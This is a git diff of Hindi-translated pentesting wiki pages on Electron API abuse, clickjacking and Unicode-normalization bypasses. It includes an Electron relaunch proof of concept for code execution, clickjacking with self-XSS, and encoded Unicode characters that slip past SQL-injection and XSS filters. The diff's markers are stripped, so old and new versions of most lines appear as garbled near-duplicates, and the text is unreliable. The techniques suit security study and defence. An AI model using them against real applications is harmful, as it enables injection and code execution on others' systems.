The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** कुछ दिलचस्प **functions** को दर्शाता है जो **`app`** ऑब्जेक्ट द्वारा remote module से उपलब्ध हैं:
- **`app.relaunch([options])`**
- **वर्तमान** उदाहरण को **बंद** करके और **नया** उदाहरण **शुरू** करके एप्लिकेशन को **पुनः प्रारंभ** करता है। **ऐप अपडेट** या महत्वपूर्ण **राज्य परिवर्तनों** के लिए उपयोगी।
- **वर्तमान** उदाहरण को **बंद** करके और एक नया **लॉन्च** करके एप्लिकेशन को **पुनः प्रारंभ** करता है। **ऐप अपडेट** या महत्वपूर्ण **राज्य परिवर्तनों** के लिए उपयोगी।
- **`app.setAppLogsPath([path])`**
- **ऐप लॉग्स** को संग्रहीत करने के लिए एक निर्देशिका **परिभाषित** या **बनाता** है। लॉग्स को **`app.getPath()`** या **`app.setPath(pathName, newPath)`** का उपयोग करके **प्राप्त** या **संशोधित** किया जा सकता है।
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- निर्दिष्ट **प्रोटोकॉल** के लिए वर्तमान निष्पादन योग्य को **डिफ़ॉल्ट हैंडलर** के रूप में **पंजीकृत** करता है। यदि आवश्यक हो तो आप एक **कस्टम पथ** और **आर्गुमेंट्स** प्रदान कर सकते हैं।
- एक निर्दिष्ट **प्रोटोकॉल** के लिए वर्तमान निष्पादन योग्य को **डिफ़ॉल्ट हैंडलर** के रूप में **पंजीकृत** करता है। यदि आवश्यक हो तो आप एक **कस्टम पथ** और **आर्गुमेंट्स** प्रदान कर सकते हैं।
- **`app.setUserTasks(tasks)`**
- **जंप लिस्ट** में **टास्क श्रेणी** में कार्य **जोड़ता** है (Windows पर)। प्रत्येक कार्य नियंत्रित कर सकता है कि ऐप कैसे **शुरू** होता है या कौन से **आर्गुमेंट्स** पास किए जाते हैं।
- **जंप लिस्ट** में **टास्क श्रेणी** में कार्य **जोड़ता** है (Windows पर)। प्रत्येक कार्य नियंत्रित कर सकता है कि ऐप कैसे **लॉन्च** होता है या कौन से **आर्गुमेंट्स** पास किए जाते हैं।
- **`app.importCertificate(options, callback)`**
- सिस्टम के **सर्टिफिकेट स्टोर** में एक **PKCS#12 सर्टिफिकेट** **आयात** करता है (केवल Linux)। परिणाम को संभालने के लिए एक **callback** का उपयोग किया जा सकता है।
- **`app.moveToApplicationsFolder([options])`**
- एप्लिकेशन को **Applications folder** में **स्थानांतरित** करता है (macOS पर)। Mac उपयोगकर्ताओं के लिए एक **मानक स्थापना** सुनिश्चित करने में मदद करता है।
- **`app.setJumpList(categories)`**
- **Windows** पर एक **कस्टम जंप लिस्ट** **सेट** या **हटाता** है। आप उपयोगकर्ता के लिए कार्यों को व्यवस्थित करने के लिए **श्रेणियाँ** निर्दिष्ट कर सकते हैं।
- **Windows** पर एक **कस्टम जंप लिस्ट** को **सेट** या **हटाता** है। आप उपयोगकर्ता के लिए कार्यों को व्यवस्थित करने के लिए **श्रेणियाँ** निर्दिष्ट कर सकते हैं।
- **`app.setLoginItemSettings(settings)`**
- **लॉगिन** पर कौन से **निष्पादन योग्य** **शुरू** होते हैं और उनके **विकल्पों** को **कॉन्फ़िगर** करता है (केवल macOS और Windows)।
- **लॉगिन** पर कौन से **निष्पादन योग्य** **लॉन्च** होते हैं और उनके **विकल्पों** को **कॉन्फ़िगर** करता है (केवल macOS और Windows)।
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
Electron में सिस्टम प्रेफरेंस तक पहुँचने और सिस्टम इवेंट्स को उत्सर्जित करने के लिए **प्राथमिक API****subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, और **setUserDefault** जैसे मेथड इस मॉड्यूल का **भाग हैं**
Electron में सिस्टम प्रेफरेंस तक पहुँचने और सिस्टम इवेंट्स को **उत्सर्जित** करने के लिए **प्राथमिक API****subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, और **setUserDefault** जैसे तरीके इस मॉड्यूल का **भाग** हैं।
**Example usage:**
```javascript
@ -336,9 +361,9 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **स्थानीय macOS सूचनाओं** के लिए **सुनता** है, NSDistributedNotificationCenter का उपयोग करके।
* **स्थानीय macOS सूचनाओं** के लिए **सुनता** है NSDistributedNotificationCenter का उपयोग करके।
* **macOS Catalina** से पहले, आप **nil** को CFNotificationCenterAddObserver में पास करके **सभी** वितरित सूचनाओं को स्निफ कर सकते थे।
* **Catalina / Big Sur** के बाद, सैंडबॉक्स किए गए ऐप्स अभी भी **कई घटनाओं** (उदाहरण के लिए, **स्क्रीन लॉक/अनलॉक**, **वॉल्यूम माउंट**, **नेटवर्क गतिविधि**, आदि) के लिए **नाम** द्वारा सूचनाओं को **सदस्यता** ले सकते हैं।
* **Catalina / Big Sur** के बाद, सैंडबॉक्स किए गए ऐप्स अभी भी **कई घटनाओं** (उदाहरण के लिए, **स्क्रीन लॉक/अनलॉक**, **वॉल्यूम माउंट**, **नेटवर्क गतिविधि**, आदि) के लिए **नाम** द्वारा सूचनाओं को **सब्सक्राइब** कर सकते हैं।
### **getUserDefault / setUserDefault**
@ -346,21 +371,21 @@ console.log('Recent Places:', recentPlaces);
* **getUserDefault** संवेदनशील जानकारी, जैसे **हाल के फ़ाइल स्थान** या **उपयोगकर्ता का भौगोलिक स्थान** **प्राप्त** कर सकता है।
* **setUserDefault** इन प्राथमिकताओं को **संशोधित** कर सकता है, जो एक ऐप की **कॉन्फ़िगरेशन** को प्रभावित कर सकता है।
* **setUserDefault** इन प्राथमिकताओं को **संशोधित** कर सकता है, जो ऐप की **कॉन्फ़िगरेशन** को प्रभावित कर सकता है।
* **पुराने Electron संस्करणों** (v8.3.0 से पहले) में, केवल NSUserDefaults का **मानक सूट** **सुलभ** था।
## Shell.showItemInFolder
यह फ़ंक्शन दिए गए फ़ाइल को फ़ाइल प्रबंधक में दिखाता है, जो **स्वतः फ़ाइल को निष्पादित** कर सकता है।
यह फ़ंक्शन दिए गए फ़ाइल को फ़ाइल प्रबंधक में दिखाता है, जो **स्वतः फ़ाइल को निष्पादित कर सकता है**
अधिक जानकारी के लिए देखें [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron ऐप्स में **XSS हमलों** को **रोकने** के लिए एक **Content Security Policy (CSP)** होनी चाहिए। **CSP** एक **सुरक्षा मानक** है जो ब्राउज़र में **अविश्वसनीय कोड** के **निष्पादन** को **रोकने** में मदद करता है।
Electron ऐप्स को **XSS हमलों** को **रोकने** के लिए एक **Content Security Policy (CSP)** होनी चाहिए। **CSP** एक **सुरक्षा मानक** है जो ब्राउज़र में **अविश्वसनीय कोड** के **निष्पादन** को **रोकने** में मदद करता है।
यह आमतौर पर **`main.js`** फ़ाइल या **`index.html`** टेम्पलेट में **meta tag** के अंदर CSP के साथ **कॉन्फ़िगर** किया जाता है।
यह आमतौर पर **`main.js`** फ़ाइल या **`index.html`** टेम्पलेट में **मेटा टैग** के अंदर CSP के साथ **कॉन्फ़िगर** किया जाता है।
अधिक जानकारी के लिए देखें:
@ -368,10 +393,11 @@ Electron ऐप्स में **XSS हमलों** को **रोकने
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) एक उपकरण है जो Electron-आधारित अनुप्रयोगों में गलत कॉन्फ़िगरेशन और सुरक्षा एंटी-पैटर्न की पहचान करता है।
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron अनुप्रयोगों के लिए एक ओपन-सोर्स VS कोड प्लगइन है जो Electronegativity का उपयोग करता है।
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron अनुप्रयोगों के लिए एक ओपन सोर्स VS कोड प्लगइन है जो Electronegativity का उपयोग करता है।
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) कमजोर तृतीय पक्ष पुस्तकालयों की जांच करने के लिए
- [**Electro.ng**](https://electro.ng/): आपको इसे खरीदना होगा
@ -402,7 +428,7 @@ cd vulnerable1
npm install
npm start
```
## **References**
## **संदर्भ**
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)

View File

@ -4,7 +4,7 @@
## What is Clickjacking
एक clickjacking हमले में, एक **उपयोगकर्ता** को एक **तत्व** पर **क्लिक** करने के लिए **धोखा** दिया जाता है जो या तो **अदृश्य** होता है या एक अलग तत्व के रूप में छिपा होता है। यह हेरफेर उपयोगकर्ता के लिए अनपेक्षित परिणामों का कारण बन सकता है, जैसे कि मैलवेयर का डाउनलोड होना, दुर्भावनापूर्ण वेब पृष्ठों पर पुनर्निर्देशन, क्रेडेंशियल्स या संवेदनशील जानकारी का प्रदान करना, पैसे का हस्तांतरण, या उत्पादों की ऑनलाइन खरीदारी।
एक clickjacking हमले में, एक **उपयोगकर्ता** को एक **तत्व** पर **क्लिक** करने के लिए **धोखा** दिया जाता है जो या तो **अदृश्य** होता है या किसी अन्य तत्व के रूप में छिपा होता है। यह हेरफेर उपयोगकर्ता के लिए अनपेक्षित परिणामों का कारण बन सकता है, जैसे कि मैलवेयर का डाउनलोड होना, दुर्भावनापूर्ण वेब पृष्ठों पर पुनर्निर्देशन, क्रेडेंशियल्स या संवेदनशील जानकारी का प्रदान करना, पैसे का हस्तांतरण, या ऑनलाइन उत्पादों की खरीदारी करना
### Prepopulate forms trick
@ -91,7 +91,7 @@ background: #F00;
यदि आपने एक **XSS हमले की पहचान की है जो उपयोगकर्ता को** किसी तत्व पर **क्लिक करने की आवश्यकता है** ताकि **XSS को ट्रिगर** किया जा सके और पृष्ठ **क्लिकजैकिंग के लिए संवेदनशील** है, तो आप इसका दुरुपयोग कर सकते हैं ताकि उपयोगकर्ता को बटन/लिंक पर क्लिक करने के लिए धोखा दिया जा सके।\
उदाहरण:\
आपने खाते के कुछ निजी विवरणों में एक **स्वयं XSS** पाया (विवरण जो **केवल आप सेट और पढ़ सकते हैं**)। इन विवरणों को सेट करने के लिए **फॉर्म** वाला पृष्ठ **क्लिकजैकिंग के लिए संवेदनशील** है और आप **GET पैरामीटर** के साथ **फॉर्म** को **पूर्व-जनित** कर सकते हैं।\
आपने खाते के कुछ निजी विवरणों में एक **स्वयं XSS** पाया (विवरण जो **केवल आप सेट और पढ़ सकते हैं**)। इन विवरणों को सेट करने के लिए **फॉर्म** वाला पृष्ठ **क्लिकजैकिंग** के लिए **संवेदनशील** है और आप **GET पैरामीटर** के साथ **फॉर्म** को **पूर्व-जनित** कर सकते हैं।\
एक हमलावर उस पृष्ठ के लिए एक **क्लिकजैकिंग** हमले की तैयारी कर सकता है **फॉर्म** को **XSS पेलोड** के साथ **पूर्व-जनित** करके और **उपयोगकर्ता** को **फॉर्म सबमिट** करने के लिए **धोखा** देकर। तो, **जब फॉर्म सबमिट किया जाता है** और मानों को संशोधित किया जाता है, तो **उपयोगकर्ता XSS को निष्पादित करेगा**
### DoubleClickjacking
@ -100,17 +100,19 @@ background: #F00;
एक उदाहरण इस वीडियो में देखा जा सकता है: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
एक कोड उदाहरण [इस पृष्ठ](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html) पर पाया जा सकता है।
> [!WARNING]
> यह तकनीक उपयोगकर्ता को पीड़ित पृष्ठ में 1 स्थान पर क्लिक करने के लिए धोखा देने की अनुमति देती है, जिससे क्लिकजैकिंग के खिलाफ हर सुरक्षा को बायपास किया जा सकता है। इसलिए हमलावर को **संवेदनशील क्रियाओं को खोजने की आवश्यकता है जो केवल 1 क्लिक के साथ की जा सकती हैं, जैसे OAuth प्रॉम्प्ट्स जो अनुमतियों को स्वीकार करते हैं**
> यह तकनीक उपयोगकर्ता को पीड़ित पृष्ठ में 1 स्थान पर क्लिक करने के लिए धोखा देने की अनुमति देती है, जिससे क्लिकजैकिंग के खिलाफ हर सुरक्षा को बायपास किया जा सकता है। इसलिए हमलावर को **संवेदनशील क्रियाओं को खोजने की आवश्यकता है जो केवल 1 क्लिक के साथ की जा सकती हैं, जैसे OAuth प्रम्प्ट जो अनुमतियों को स्वीकार करते हैं**।
## Strategies to Mitigate Clickjacking
### Client-Side Defenses
क्लाइंट साइड पर निष्पादित स्क्रिप्ट्स क्लिकजैकिंग को रोकने के लिए क्रियाएँ कर सकती हैं:
क्लाइंट साइड पर निष्पादित स्क्रिप्ट क्लिकजैकिंग को रोकने के लिए क्रियाएँ कर सकती हैं:
- सुनिश्चित करना कि एप्लिकेशन विंडो मुख्य या शीर्ष विंडो है।
- सभी फ्रेम को दृश्यमान बनाना।
- सभी फ्रेम को दृश्य बनाना।
- अदृश्य फ्रेम पर क्लिक को रोकना।
- संभावित क्लिकजैकिंग प्रयासों के लिए उपयोगकर्ताओं का पता लगाना और चेतावनी देना।
@ -124,13 +126,13 @@ id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
```
`allow-forms` और `allow-scripts` मान iframe के भीतर क्रियाओं को सक्षम करते हैं जबकि शीर्ष स्तर की नेविगेशन को निष्क्रिय करते हैं। लक्षित साइट की इच्छित कार्यक्षमता सुनिश्चित करने के लिए, हमलों के प्रकार के आधार पर `allow-same-origin` और `allow-modals` जैसे अतिरिक्त अनुमतियों की आवश्यकता हो सकती है। ब्राउज़र कंसोल संदेश यह मार्गदर्शन कर सकते हैं कि कौन सी अनुमतियाँ दी जानी चाहिए।
`allow-forms` और `allow-scripts` मान iframe के भीतर क्रियाओं को सक्षम करते हैं जबकि शीर्ष-स्तरीय नेविगेशन को निष्क्रिय करते हैं। लक्षित साइट की इच्छित कार्यक्षमता सुनिश्चित करने के लिए, हमलों के प्रकार के आधार पर `allow-same-origin` और `allow-modals` जैसे अतिरिक्त अनुमतियों की आवश्यकता हो सकती है। ब्राउज़र कंसोल संदेश यह मार्गदर्शन कर सकते हैं कि कौन सी अनुमतियाँ दी जानी चाहिए।
### सर्वर-साइड रक्षा
#### X-Frame-Options
**`X-Frame-Options` HTTP प्रतिक्रिया हेडर** ब्राउज़रों को `<frame>` या `<iframe>` में एक पृष्ठ को रेंडर करने की वैधता के बारे में सूचित करता है, जिससे Clickjacking को रोकने में मदद मिलती है:
**`X-Frame-Options` HTTP प्रतिक्रिया हेडर** ब्राउज़रों को `<frame>` या `<iframe>` में पृष्ठ को रेंडर करने की वैधता के बारे में सूचित करता है, जिससे Clickjacking को रोकने में मदद मिलती है:
- `X-Frame-Options: deny` - कोई डोमेन सामग्री को फ्रेम नहीं कर सकता।
- `X-Frame-Options: sameorigin` - केवल वर्तमान साइट सामग्री को फ्रेम कर सकती है।
@ -139,7 +141,7 @@ sandbox="allow-forms allow-scripts"></iframe>
#### Content Security Policy (CSP) frame-ancestors निर्देश
**CSP में `frame-ancestors` निर्देश** Clickjacking सुरक्षा के लिए सलाह दी गई विधि है:
**CSP में `frame-ancestors` निर्देश** Clickjacking सुरक्षा के लिए अनुशंसित विधि है:
- `frame-ancestors 'none'` - `X-Frame-Options: deny` के समान।
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` के समान।
@ -149,7 +151,7 @@ sandbox="allow-forms allow-scripts"></iframe>
`Content-Security-Policy: frame-ancestors 'self';`
अधिक विवरण और जटिल उदाहरण [frame-ancestors CSP दस्तावेज़](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) और [Mozilla क CSP frame-ancestors दस्तावेज़](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) में पाए जा सकते हैं।
अधिक विवरण और जटिल उदाहरण [frame-ancestors CSP दस्तावेज़](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) और [Mozilla क CSP frame-ancestors दस्तावेज़](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) में पाए जा सकते हैं।
### Content Security Policy (CSP) के साथ `child-src` और `frame-src`
@ -171,17 +173,17 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
यह नीति समान मूल (स्वयं) और https://trusted-website.com से फ्रेम और कार्यकर्ताओं की अनुमति देती है।
यह नीति समान मूल (स्वयं) और https://trusted-website.com से फ्रेम और कार्यकर्ताओं की अनुमति देती है।
**उपयोग नोट्स:**
- अवहेलना: child-src को frame-src और worker-src के पक्ष में समाप्त किया जा रहा है।
- फॉलबैक व्यवहार: यदि frame-src अनुपस्थित है, तो फ़्रेम के लिए child-src को फ़ॉलबैक के रूप में उपयोग किया जाता है। यदि दोनों अनुपस्थित हैं, तो default-src का उपयोग किया जाता है।
- फॉलबैक व्यवहार: यदि frame-src अनुपस्थित है, तो फ्रेम के लिए fallback के रूप में child-src का उपयोग किया जाता है। यदि दोनों अनुपस्थित हैं, तो default-src का उपयोग किया जाता है।
- सख्त स्रोत परिभाषा: शोषण को रोकने के लिए निर्देशों में केवल विश्वसनीय स्रोतों को शामिल करें।
#### JavaScript फ्रेम-ब्रेकिंग स्क्रिप्ट्स
#### JavaScript फ्रेम-ब्रेकिंग स्क्रिप्ट्स
हालांकि यह पूरी तरह से सुरक्षित नहीं है, JavaScript-आधारित फ्रेम-बस्टिंग स्क्रिप्ट्स का उपयोग एक वेब पृष्ठ को फ़्रेम में आने से रोकने के लिए किया जा सकता है। उदाहरण:
हालांकि यह पूरी तरह से सुरक्षित नहीं है, JavaScript-आधारित फ्रेम-बस्टिंग स्क्रिप्ट्स का उपयोग एक वेब पृष्ठ को फ्रेम होने से रोकने के लिए किया जा सकता है। उदाहरण:
```javascript
if (top !== self) {
top.location = self.location

View File

@ -6,48 +6,48 @@
## Unicode और Normalization को समझना
Unicode normalization एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधित्व को एक ही बाइनरी मान में मानकीकृत किया जाए। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रोसेसिंग में स्ट्रिंग्स के साथ काम करते समय महत्वपूर्ण है। Unicode मानक दो प्रकार की वर्ण समकक्षता को परिभाषित करता है:
Unicode normalization एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधित्व को एक ही बाइनरी मान में मानकीकृत किया जाए। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रोसेसिंग में स्ट्रिंग्स के साथ काम करते समय महत्वपूर्ण है। Unicode मानक वर्ण समकक्षता के दो प्रकारों को परिभाषित करता है:
1. **Canonical Equivalence**: वर्णों को कैनोनिकल रूप से समकक्ष माना जाता है यदि उनका प्रिंट या डिस्प्ले पर एक समान रूप और अर्थ होता है।
2. **Compatibility Equivalence**: समकक्षता का एक कमजोर रूप जहाँ वर्ण एक ही अमूर्त वर्ण का प्रतिनिधित्व कर सकते हैं लेकिन अलग-अलग तरीके से प्रदर्शित हो सकते हैं।
1. **Canonical Equivalence**: वर्णों को कैनोनिकल रूप से समकक्ष माना जाता है यदि उनका प्रिंट या डिस्प्ले पर एक ही रूप और अर्थ होता है।
2. **Compatibility Equivalence**: समकक्षता का एक कमजोर रूप जहाँ वर्ण एक ही अमूर्त वर्ण का प्रतिनिधित्व कर सकते हैं लेकिन अलग-अलग तरीके से प्रदर्शित किए जा सकते हैं।
चार **Unicode normalization एल्गोरिदम** हैं: NFC, NFD, NFKC, और NFKD। प्रत्येक एल्गोरिदम कैनोनिकल और संगतता मानकीकरण तकनीकों का उपयोग अलग-अलग तरीके से करता है। अधिक गहन समझ के लिए, आप इन तकनीकों का अन्वेषण कर सकते हैं [Unicode.org](https://unicode.org/) पर।
चार **Unicode normalization एल्गोरिदम** हैं: NFC, NFD, NFKC, और NFKD। प्रत्येक एल्गोरिदम कैनोनिकल और संगतता सामान्यीकरण तकनीकों का उपयोग अलग-अलग तरीके से करता है। अधिक गहन समझ के लिए, आप इन तकनीकों का अन्वेषण कर सकते हैं [Unicode.org](https://unicode.org/) पर।
### Unicode Encoding पर मुख्य बिंदु
Unicode encoding को समझना महत्वपूर्ण है, विशेष रूप से विभिन्न प्रणालियों या भाषाओं के बीच इंटरऑपरेबिलिटी मुद्दों से निपटने के समय। यहाँ मुख्य बिंदु हैं:
Unicode encoding को समझना महत्वपूर्ण है, विशेष रूप से विभिन्न प्रणालियों या भाषाओं के बीच इंटरऑपरेबिलिटी मुद्दों से निपटे समय। यहाँ मुख्य बिंदु हैं:
- **कोड पॉइंट और वर्ण**: Unicode में, प्रत्येक वर्ण या प्रतीक को एक संख्यात्मक मान सौंपा जाता है जिसे "कोड पॉइंट" कहा जाता है।
- **बाइट्स प्रतिनिधित्व**: कोड पॉइंट (या वर्ण) को मेमोरी में एक या अधिक बाइट्स द्वारा प्रदर्शित किया जाता है। उदाहरण के लिए, LATIN-1 वर्ण (अंग्रेजी बोलने वाले देशों में सामान्य) एक बाइट का उपयोग करके प्रदर्शित होते हैं। हालाँकि, जिन भाषाओं में अधिक वर्ण होते हैं, उन्हें प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है।
- **कोड पॉइंट और वर्ण**: Unicode में, प्रत्येक वर्ण या प्रतीक को एक संख्यात्मक मान दिया जाता है जिसे "कोड पॉइंट" कहा जाता है।
- **बाइट्स प्रतिनिधित्व**: कोड पॉइंट (या वर्ण) को मेमोरी में एक या अधिक बाइट्स द्वारा प्रदर्शित किया जाता है। उदाहरण के लिए, LATIN-1 वर्ण (अंग्रेजी बोलने वाले देशों में सामान्य) को एक बाइट का उपयोग करके प्रदर्शित किया जाता है। हालाँकि, जिन भाषाओं में वर्णों का बड़ा सेट होता है, उन्हें प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है।
- **Encoding**: यह शब्द वर्णों को बाइट्स की एक श्रृंखला में परिवर्तित करने के तरीके को संदर्भित करता है। UTF-8 एक प्रचलित एन्कोडिंग मानक है जहाँ ASCII वर्णों को एक बाइट का उपयोग करके प्रदर्शित किया जाता है, और अन्य वर्णों के लिए चार बाइट्स तक।
- **डेटा प्रोसेसिंग**: डेटा प्रोसेसिंग करने वाली प्रणालियों को बाइट स्ट्रीम को वर्णों में सही ढंग से परिवर्तित करने के लिए उपयोग की जाने वाली एन्कोडिंग के बारे में जागरूक होना चाहिए।
- **डेटा प्रोसेसिंग**: डेटा प्रोसेसिंग करने वाली प्रणालियों को एन्कोडिंग के बारे में जागरूक होना चाहिए ताकि बाइट स्ट्रीम को सही तरीके से वर्णों में परिवर्तित किया जा सके
- **UTF के रूप**: UTF-8 के अलावा, अन्य एन्कोडिंग मानक हैं जैसे UTF-16 (कम से कम 2 बाइट्स का उपयोग करते हुए, अधिकतम 4) और UTF-32 (सभी वर्णों के लिए 4 बाइट्स का उपयोग करते हुए)।
इन अवधारणाओं को समझना महत्वपूर्ण है ताकि Unicode की जटिलता और इसके विभिन्न एन्कोडिंग तरीकों से उत्पन्न संभावित मुद्दों को प्रभावी ढंग से संभाला और कम किया जा सके।
इन अवधारणाओं को समझना महत्वपूर्ण है ताकि Unicode की जटिलता और इसके विभिन्न एन्कोडिंग विधियों से उत्पन्न संभावित मुद्दों को प्रभावी ढंग से संभाला और कम किया जा सके।
Unicode के दो अलग-अलग बाइट्स को एक ही वर्ण का प्रतिनिधित्व करने के तरीके का एक उदाहरण:
Unicode के दो विभिन्न बाइट्स को सामान्यीकृत करने का एक उदाहरण जो एक ही वर्ण का प्रतिनिधित्व करते हैं:
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
**यूनिकोड समकक्ष वर्णों की एक सूची यहाँ मिल सकती है:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) और [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
**एक सूची Unicode समकक्ष वर्णों की यहाँ पाई जा सकती है:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) और [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
### खोज
यदि आप क वेब ऐप के अंदर एक ऐसा मान ढूंढ सकते हैं जो वापस इको किया जा रहा है, तो आप **KELVIN SIGN (U+0212A)** भेजने की कोशिश कर सकते हैं जो **"K"** में **सामान्यीकृत** होता है (आप इसे `%e2%84%aa` के रूप में भेज सकते हैं)। **यदि "K" वापस इको किया जाता है**, तो कुछ प्रकार की **यूनिकोड सामान्यीकरण** किया जा रहा है।
यदि आप किसी वेब ऐप के अंदर एक ऐसा मान ढूंढ सकते हैं जो वापस इको हो रहा है, तो आप **KELVIN SIGN (U+0212A)** भेजने की कोशिश कर सकते हैं जो **"K" में सामान्यीकृत होता है** (आप इसे `%e2%84%aa` के रूप में भेज सकते हैं)। **यदि "K" वापस इको होता है**, तो कुछ प्रकार की **Unicode सामान्यीकरण** की प्रक्रिया की जा रही है।
अन्य **उदाहरण**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` के बाद **यूनिकोड** `Leonishan` है।
अन्य **उदाहरण**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` के बाद **unicode** `Leonishan` है।
## **कमजोर उदाहरण**
### **SQL इंजेक्शन फ़िल्टर बायपास**
### **SQL Injection फ़िल्टर बायपास**
कल्पना करें कि एक वेब पृष्ठ उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण `'` का उपयोग कर रहा है। यह वेब, सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण **`'`** के सभी उदाहरणों को **हटाता** है, लेकिन **उस हटाने के बाद** और **क्वेरी बनाने से पहले**, यह उपयोगकर्ता के इनपुट को **यूनिकोड** का उपयोग करके **सामान्यीकृत** करता है।
कल्पना करें कि एक वेब पृष्ठ उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण `'` का उपयोग कर रहा है। यह वेब, एक सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण **`'`** के सभी उदाहरणों को **हटाता है**, लेकिन **उस हटाने के बाद** और **क्वेरी बनाने से पहले**, यह उपयोगकर्ता के इनपुट को **Unicode** का उपयोग करके **सामान्यीकृत** करता है।
फिर, एक दुर्भावनापूर्ण उपयोगकर्ता एक अलग यूनिकोड वर्ण डाल सकता है जो `' (0x27)` के समकक्ष है जैसे `%ef%bc%87`, जब इनपुट सामान्यीकृत होता है, तो एक सिंगल कोट बनाया जाता है और एक **SQLInjection भेद्यता** प्रकट होती है:
फिर, एक दुर्भावनापूर्ण उपयोगकर्ता `' (0x27)` के समकक्ष एक अलग Unicode वर्ण जैसे `%ef%bc%87` डाल सकता है, जब इनपुट सामान्यीकृत होता है, तो एक सिंगल कोट बनाया जाता है और एक **SQLInjection भेद्यता** प्रकट होती है:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
**कुछ दिलचस्प यूनिकोड वर्ण**
**कुछ दिलचस्प Unicode वर्ण**
- `o` -- %e1%b4%bc
- `r` -- %e1%b4%bf
@ -81,24 +81,34 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
### XSS (क्रॉस साइट स्क्रिप्टिंग)
आप XSS को धोखदेने और शोषण करने के लिए निम्नलिखित वर्णों में से एक का उपयोग कर सकते हैं:
आप XSS का शोषण करने के लिए वेब ऐप को धोखा देने के लिए निम्नलिखित वर्णों में से एक का उपयोग कर सकते हैं:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
ध्यान दें कि उदाहरण के लिए, पहले Unicode वर्ण को इस तरह भेजा जा सकता है: `%e2%89%ae` या `%u226e`
ध्यान दें कि उदाहरण के लिए, पहले Unicode वर्ण को इस प्रकार भेजा जा सकता है: `%e2%89%ae` या `%u226e`
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
### फज़िंग Regexes
जब बैकएंड **उपयोगकर्ता इनपुट को regex के साथ जांच रहा है**, तो यह संभव है कि **इनपुट** को **regex** के लिए **सामान्यीकृत** किया जा रहा हो लेकिन **जहां इसका उपयोग किया जा रहा है** वहां नहीं। उदाहरण के लिए, एक Open Redirect या SSRF में regex **भेजे गए URL** को **सामान्यीकृत** कर सकता है लेकिन फिर **इसे जैसा है वैसा ही एक्सेस कर सकता है**
जब बैकएंड **उपयोगकर्ता इनपुट को regex के साथ जांच रहा है**, तो यह संभव है कि **इनपुट** को **regex** के लिए **सामान्यीकृत** किया जा रहा हो लेकिन **जहां इसका उपयोग किया जा रहा है** वहां **नहीं**। उदाहरण के लिए, एक Open Redirect या SSRF में regex **भेजे गए UR**L को **सामान्यीकृत** कर सकता है लेकिन फिर **इसे जैसा है वैसा ही एक्सेस कर सकता है**
